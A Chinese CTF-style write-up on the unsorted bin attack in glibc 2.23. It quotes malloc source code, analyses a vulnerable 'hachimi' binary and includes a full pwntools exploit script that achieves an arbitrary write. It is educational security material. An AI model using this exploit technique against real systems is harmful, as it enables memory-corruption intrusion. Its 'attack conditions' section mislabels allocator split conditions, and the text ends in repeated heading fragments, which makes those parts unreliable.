Unsorted Bin Attack 在 glibc 2.23 中的利用与源码分析<\/h1>

一、前置知识<\/h2>

1.1 Unsorted Bin 基本概念<\/h3>
Unsorted Bin 是 glibc 内存管理中的一个特殊双向链表，用于暂存刚被释放的 chunk。当程序申请内存时，分配器会优先在 Unsorted Bin 中查找合适的 chunk。<\/p>

1.2 Unsorted Bin 遍历机制<\/h3>
glibc 在遍历 Unsorted Bin 时，会根据不同情况采取不同的处理策略：<\/p>

情况一：单个 chunk 且满足分割条件<\/h4>

if<\/span> (in_smallbin_range (nb) &&<\/span>           \/\/ 请求大小在 small bin 范围内
<\/span><\/span><\/span><\/span>    bck ==<\/span> unsorted_chunks (av) &&<\/span>      \/\/ unsorted bin 中只有一个 chunk
<\/span><\/span><\/span><\/span>    victim ==<\/span> av-><\/span>last_remainder &&<\/span>     \/\/ 当前 chunk 是 last remainder
<\/span><\/span><\/span><\/span>    (unsigned<\/span> long<\/span>) (size) ><\/span> (unsigned<\/span> long<\/span>) (nb +<\/span> MINSIZE)) \/\/ 大小足够分割
<\/span><\/span><\/span><\/span>{
<\/span><\/span>    \/* split and reattach remainder *\/<\/span>
<\/span><\/span>    remainder_size =<\/span> size -<\/span> nb;          \/\/ 计算剩余部分大小
<\/span><\/span><\/span><\/span>    remainder =<\/span> chunk_at_offset (victim, nb); \/\/ 定位剩余块地址
<\/span><\/span><\/span><\/span>    
<\/span><\/span>    \/\/ 更新 unsorted bin 链表
<\/span><\/span><\/span><\/span>    unsorted_chunks (av)-><\/span>bk =<\/span> unsorted_chunks (av)-><\/span>fd =<\/span> remainder;
<\/span><\/span>    av-><\/span>last_remainder =<\/span> remainder;      \/\/ 更新 last remainder
<\/span><\/span><\/span><\/span>    remainder-><\/span>bk =<\/span> remainder-><\/span>fd =<\/span> unsorted_chunks (av); \/\/ 设置剩余块指针
<\/span><\/span><\/span><\/span>    
<\/span><\/span>    \/\/ 设置 chunk 头部信息
<\/span><\/span><\/span><\/span>    set_head (victim, nb |<\/span> PREV_INUSE |<\/span> (av !=<\/span> &<\/span>main_arena ?<\/span> NON_MAIN_ARENA : 0<\/span>));
<\/span><\/span>    set_head (remainder, remainder_size |<\/span> PREV_INUSE);
<\/span><\/span>    set_foot (remainder, remainder_size); \/\/ 设置 footer（如果启用）
<\/span><\/span><\/span><\/span>    
<\/span><\/span>    void<\/span> *<\/span>p =<\/span> chunk2mem (victim);       \/\/ 返回用户数据指针
<\/span><\/span><\/span><\/span>    alloc_perturb (p, bytes);           \/\/ 初始化内存
<\/span><\/span><\/span><\/span>    return<\/span> p;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>情况二：大小完全匹配<\/h4>
if<\/span> (size ==<\/span> nb) {                       \/\/ 当前 chunk 大小完全匹配请求
<\/span><\/span><\/span><\/span>    set_inuse_bit_at_offset (victim, size); \/\/ 设置下一个块的 PREV_INUSE
<\/span><\/span><\/span><\/span>    if<\/span> (av !=<\/span> &<\/span>main_arena)
<\/span><\/span>        set_non_main_arena (victim);    \/\/ 设置非主分配区标志
<\/span><\/span><\/span><\/span>    
<\/span><\/span>    void<\/span> *<\/span>p =<\/span> chunk2mem (victim);
<\/span><\/span>    alloc_perturb (p, bytes);
<\/span><\/span>    return<\/span> p;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>1.3 不合适 chunk 的处理<\/h3>
如果 Unsorted Bin 中的 chunk 不满足当前分配需求，会被转移到相应的 smallbin 或 largebin：<\/p>
Small Bin 处理<\/h4>
if<\/span> (__glibc_unlikely (in_smallbin_range (size))) {
<\/span><\/span>    victim_index =<\/span> smallbin_index (size); \/\/ 计算 bin 索引
<\/span><\/span><\/span><\/span>    bck =<\/span> bin_at (av, victim_index);     \/\/ 获取 bin 头指针
<\/span><\/span><\/span><\/span>    fwd =<\/span> bck-><\/span>fd;                       \/\/ 获取 bin 第一个 chunk
<\/span><\/span><\/span><\/span>}
<\/span><\/span><\/code><\/pre>Large Bin 处理<\/h4>
else<\/span> {
<\/span><\/span>    victim_index =<\/span> largebin_index (size); \/\/ 计算 large bin 组索引
<\/span><\/span><\/span><\/span>    bck =<\/span> bin_at (av, victim_index);
<\/span><\/span>    fwd =<\/span> bck-><\/span>fd;
<\/span><\/span>    
<\/span><\/span>    if<\/span> (fwd !=<\/span> bck) {                    \/\/ 如果 bin 非空
<\/span><\/span><\/span><\/span>        size |=<\/span> PREV_INUSE;              \/\/ 设置 PREV_INUSE 位加速比较
<\/span><\/span><\/span><\/span>        
<\/span><\/span>        \/\/ 按大小排序插入
<\/span><\/span><\/span><\/span>        if<\/span> ((unsigned<\/span> long<\/span>) (size) <<\/span> (unsigned<\/span> long<\/span>) chunksize_nomask (bck-><\/span>bk)) {
<\/span><\/span>            \/\/ 插入到最小位置
<\/span><\/span><\/span><\/span>            fwd =<\/span> bck;
<\/span><\/span>            bck =<\/span> bck-><\/span>bk;
<\/span><\/span>            victim-><\/span>fd_nextsize =<\/span> fwd-><\/span>fd;
<\/span><\/span>            victim-><\/span>bk_nextsize =<\/span> fwd-><\/span>fd-><\/span>bk_nextsize;
<\/span><\/span>            fwd-><\/span>fd-><\/span>bk_nextsize =<\/span> victim-><\/span>bk_nextsize-><\/span>fd_nextsize =<\/span> victim;
<\/span><\/span>        } else<\/span> {
<\/span><\/span>            \/\/ 在链表中查找合适位置
<\/span><\/span><\/span><\/span>            while<\/span> ((unsigned<\/span> long<\/span>) size <<\/span> chunksize_nomask (fwd)) {
<\/span><\/span>                fwd =<\/span> fwd-><\/span>fd_nextsize;
<\/span><\/span>            }
<\/span><\/span>            \/\/ 插入操作...
<\/span><\/span><\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>二、Unsorted Bin Attack 原理<\/h2>
2.1 攻击核心机制<\/h3>
Unsorted Bin Attack 的核心在于利用 glibc 2.23 版本中安全检查的缺失。关键代码段：<\/p>
\/* remove from unsorted list *\/<\/span>
<\/span><\/span>unsorted_chunks (av)-><\/span>bk =<\/span> bck;         \/\/ bin 的 bk 指向 victim 的后一个块
<\/span><\/span><\/span><\/span>bck-><\/span>fd =<\/span> unsorted_chunks (av);         \/\/ 后一个块的 fd 指向 bin
<\/span><\/span><\/span><\/code><\/pre>关键变量说明：<\/strong><\/p>

victim<\/code>: 当前正在被 malloc 考虑的 chunk 指针<\/li>
bck<\/code>: victim->bk<\/code>，即 victim 在 Unsorted Bin 链表中的前驱节点<\/li>
av<\/code>: arena 指针，表示当前线程使用的内存分配区<\/li>
unsorted_chunks(av)<\/code>: 返回 unsorted bin 的头节点地址（&av->bins[0]<\/code>）<\/li>
<\/ul>
2.2 攻击条件<\/h3>
要成功利用 Unsorted Bin Attack，需要满足以下条件：<\/p>

用户请求的是一个小块（≤512B）<\/strong><\/li>
Unsorted Bin 中只有一个 chunk<\/strong><\/li>
chunk 足够大<\/strong>，切掉所需部分后还能剩下至少 MINSIZE<\/li>
该 chunk 正好是当前的 last_remainder<\/strong><\/li>
<\/ol>
2.3 版本差异对比<\/h3>
glibc 2.23 版本的检查非常宽松：<\/p>

缺少双向链表的完整性检查<\/li>
只需要让 bk 指向一个合法的地址就能绕过检查<\/li>
高版本增加了大量安全检查，使得攻击难度增加<\/li>
<\/ul>
三、实际漏洞利用分析<\/h2>
3.1 目标程序分析<\/h3>
保护机制<\/h4>
[*] '\/home\/ziran\/Desktop\/isc\/hachimi'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
<\/code><\/pre>
关键函数分析<\/h4>
初始化函数：<\/strong><\/p>
for<\/span> (n9 =<\/span> 0<\/span>; n9 <=<\/span> 9<\/span>; ++<\/span>n9) {
<\/span><\/span>    dword_202060[6<\/span> *<\/span> n9 +<\/span> 2<\/span>] =<\/span> 0<\/span>;      \/\/ 清空标志位
<\/span><\/span><\/span><\/span>    dword_202060[6<\/span> *<\/span> n9 +<\/span> 3<\/span>] =<\/span> 0<\/span>;
<\/span><\/span>}
<\/span><\/span>mallopt(1<\/span>, 0<\/span>);                         \/\/ 禁用 fastbin
<\/span><\/span><\/span><\/code><\/pre>编辑函数中的漏洞：<\/strong><\/p>
read(0<\/span>, *<\/span>((void<\/span> **<\/span>)&<\/span>heap.ptr +<\/span> 3<\/span> *<\/span> v1), *<\/span>(&<\/span>heap.size +<\/span> 6<\/span> *<\/span> v1));
<\/span><\/span>*<\/span>(_BYTE *<\/span>)(*<\/span>(&<\/span>heap.size +<\/span> 6<\/span> *<\/span> v1) +<\/span> *<\/span>((_QWORD *<\/span>)&<\/span>heap.ptr +<\/span> 3<\/span> *<\/span> v1)) =<\/span> 
<\/span><\/span>    *<\/span>(_BYTE *<\/span>)(*<\/span>((_QWORD *<\/span>)&<\/span>heap.ptr +<\/span> 3<\/span> *<\/span> v1) +<\/span> *<\/span>(&<\/span>heap.size +<\/span> 6<\/span> *<\/span> v1)) &<\/span> 0xFE<\/span>;
<\/span><\/span><\/code><\/pre>该操作会清空 size 字段的最低比特位，可能修改 PREV_INUSE 标志。<\/p>
3.2 利用思路<\/h3>
步骤一：信息泄露<\/h4>

通过菜单选项 5 泄露地址信息<\/li>
计算 PIE 基址和目标地址<\/li>
<\/ol>
步骤二：堆布局<\/h4>

申请 5 个 0x78 大小的堆块：[0]、[1]、[2]、[3]、[4]<\/li>
注意禁用 fastbin 后的释放策略<\/li>
<\/ol>
步骤三：构造漏洞<\/h4>

释放 chunk [0]<\/li>
通过 edit 修改 [1] 覆写 [2] 的 presize 和标志位<\/li>
清空 [2] 的 size 标志位<\/li>
释放 [2]，造成非预期合并（利用 glibc 2.23 检查宽松的特点）<\/li>
<\/ol>
步骤四：UAF 利用<\/h4>

利用合并后的堆块产生 UAF 漏洞<\/li>
申请 0x78 大小切割堆块，使 fd 与可控指针重合<\/li>
<\/ol>
步骤五：Unsorted Bin Attack<\/h4>

修改 bk 指针指向目标地址<\/li>
触发分配流程，实现任意地址写<\/li>
<\/ol>
3.3 利用代码示例<\/h3>
from<\/span> pwn import<\/span> *<\/span>
<\/span><\/span>
<\/span><\/span>context.<\/span>log_level =<\/span> 'debug'<\/span>
<\/span><\/span>
<\/span><\/span>io =<\/span> process('.\/hachimi'<\/span>)
<\/span><\/span>
<\/span><\/span>def<\/span> cmd<\/span>(choice):
<\/span><\/span>    io.<\/span>recvuntil("5.Mambo Out!"<\/span>)
<\/span><\/span>    io.<\/span>sendline(str(choice))
<\/span><\/span>
<\/span><\/span>def<\/span> add<\/span>(size, content=<\/span>b<\/span>'aaaa'<\/span>):
<\/span><\/span>    cmd(1<\/span>)
<\/span><\/span>    io.<\/span>recvuntil("Please Input Size:"<\/span>)
<\/span><\/span>    io.<\/span>sendline(str(size))
<\/span><\/span>    io.<\/span>recvuntil("Content of hachimi:"<\/span>)
<\/span><\/span>    io.<\/span>send(content)
<\/span><\/span>
<\/span><\/span>def<\/span> delete<\/span>(index):
<\/span><\/span>    cmd(2<\/span>)
<\/span><\/span>    io.<\/span>recvuntil("Please Input index:"<\/span>)
<\/span><\/span>    io.<\/span>sendline(str(index))
<\/span><\/span>
<\/span><\/span>def<\/span> edit<\/span>(index, content):
<\/span><\/span>    cmd(3<\/span>)
<\/span><\/span>    io.<\/span>recvuntil("Please Input index:"<\/span>)
<\/span><\/span>    io.<\/span>sendline(str(index))
<\/span><\/span>    io.<\/span>recvuntil("Change hachimi Content"<\/span>)
<\/span><\/span>    io.<\/span>send(content)
<\/span><\/span>
<\/span><\/span>def<\/span> show<\/span>(index):
<\/span><\/span>    cmd(4<\/span>)
<\/span><\/span>    io.<\/span>recvuntil("Please Input index:"<\/span>)
<\/span><\/span>    io.<\/span>sendline(str(index))
<\/span><\/span>
<\/span><\/span># 泄露地址信息<\/span>
<\/span><\/span>cmd(5<\/span>)
<\/span><\/span>io.<\/span>recvuntil("address:"<\/span>)
<\/span><\/span>pie =<\/span> int(io.<\/span>recv(14<\/span>), 16<\/span>) -<\/span> 0x202040<\/span>
<\/span><\/span>
<\/span><\/span># 堆布局<\/span>
<\/span><\/span>add(0x78<\/span>) #0<\/span>
<\/span><\/span>add(0x78<\/span>) #1<\/span>
<\/span><\/span>add(0x78<\/span>-<\/span>0x20<\/span>) #2<\/span>
<\/span><\/span>add(0x78<\/span>) #3<\/span>
<\/span><\/span>add(0x78<\/span>) #4<\/span>
<\/span><\/span>
<\/span><\/span># 构造漏洞<\/span>
<\/span><\/span>delete(0<\/span>)
<\/span><\/span>payload =<\/span> b<\/span>'a'<\/span>*<\/span>0x70<\/span> +<\/span> p64(0x100<\/span>) # 修改 presize<\/span>
<\/span><\/span>edit(1<\/span>, payload)
<\/span><\/span>delete(2<\/span>)
<\/span><\/span>
<\/span><\/span># 泄露 libc 地址<\/span>
<\/span><\/span>add(0x78<\/span>) #0<\/span>
<\/span><\/span>add(0x78<\/span>) #2<\/span>
<\/span><\/span>delete(2<\/span>)
<\/span><\/span>show(1<\/span>)
<\/span><\/span>io.<\/span>recvuntil("content:<\/span>\n<\/span>"<\/span>)
<\/span><\/span>libc =<\/span> u64(io.<\/span>recv(6<\/span>).<\/span>ljust(8<\/span>, b<\/span>'<\/span>\x00<\/span>'<\/span>))
<\/span><\/span>
<\/span><\/span># Unsorted Bin Attack<\/span>
<\/span><\/span>payload =<\/span> p64(libc) +<\/span> p64(pie +<\/span> 0x202048<\/span> -<\/span> 0x10<\/span>)
<\/span><\/span>edit(1<\/span>, payload)
<\/span><\/span>add(0xe0<\/span>-<\/span>0x10<\/span>) # 触发攻击<\/span>
<\/span><\/span>
<\/span><\/span>io.<\/span>interactive()
<\/span><\/span><\/code><\/pre>四、关键要点总结<\/h2>
4.1 攻击成功的关键因素<\/h3>

glibc 2.23 安全检查宽松<\/strong>：缺少完整的双向链表完整性验证<\/li>
禁用 fastbin<\/strong>：迫使使用 unsorted bin 机制<\/li>
精确的堆布局<\/strong>：控制 chunk 的合并和分割行为<\/li>
UAF 漏洞的巧妙利用<\/strong>：通过修改标志位制造非常规内存状态<\/li>
<\/ol>
4.2 防御措施<\/h3>

升级到更高版本的 glibc<\/li>
增强堆内存管理的安全检查<\/li>
使用现代的内存保护机制<\/li>
<\/ol>
4.3 学习价值<\/h3>
通过分析 glibc 2.23 中的 Unsorted Bin Attack，可以深入理解：<\/p>

内存分配器的内部工作机制<\/li>
不同版本 glibc 的安全特性演进<\/li>
堆漏洞利用的基本原理和技巧<\/li>
现代漏洞缓解技术的必要性<\/li>
<\/ul>
这种攻击方式虽然在现代系统中较难实现，但对于理解内存安全的基本原理具有重要价值。<\/p>

Unsorted Bin Attack 在 glibc 2.23 中的利用与源码分析<\/h1>

一、前置知识<\/h2>

1.1 Unsorted Bin 基本概念<\/h3> Unsorted Bin 是 glibc 内存管理中的一个特殊双向链表，用于暂存刚被释放的 chunk。当程序申请内存时，分配器会优先在 Unsorted Bin 中查找合适的 chunk。<\/p>

1.2 Unsorted Bin 遍历机制<\/h3> glibc 在遍历 Unsorted Bin 时，会根据不同情况采取不同的处理策略：<\/p>

1.3 不合适 chunk 的处理<\/h3> 如果 Unsorted Bin 中的 chunk 不满足当前分配需求，会被转移到相应的 smallbin 或 largebin：<\/p>

二、Unsorted Bin Attack 原理<\/h2>

三、实际漏洞利用分析<\/h2>

3.1 目标程序分析<\/h3>

3.2 利用思路<\/h3>

四、关键要点总结<\/h2>

1.1 Unsorted Bin 基本概念<\/h3>
Unsorted Bin 是 glibc 内存管理中的一个特殊双向链表，用于暂存刚被释放的 chunk。当程序申请内存时，分配器会优先在 Unsorted Bin 中查找合适的 chunk。<\/p>

1.2 Unsorted Bin 遍历机制<\/h3>
glibc 在遍历 Unsorted Bin 时，会根据不同情况采取不同的处理策略：<\/p>

1.3 不合适 chunk 的处理<\/h3>
如果 Unsorted Bin 中的 chunk 不满足当前分配需求，会被转移到相应的 smallbin 或 largebin：<\/p>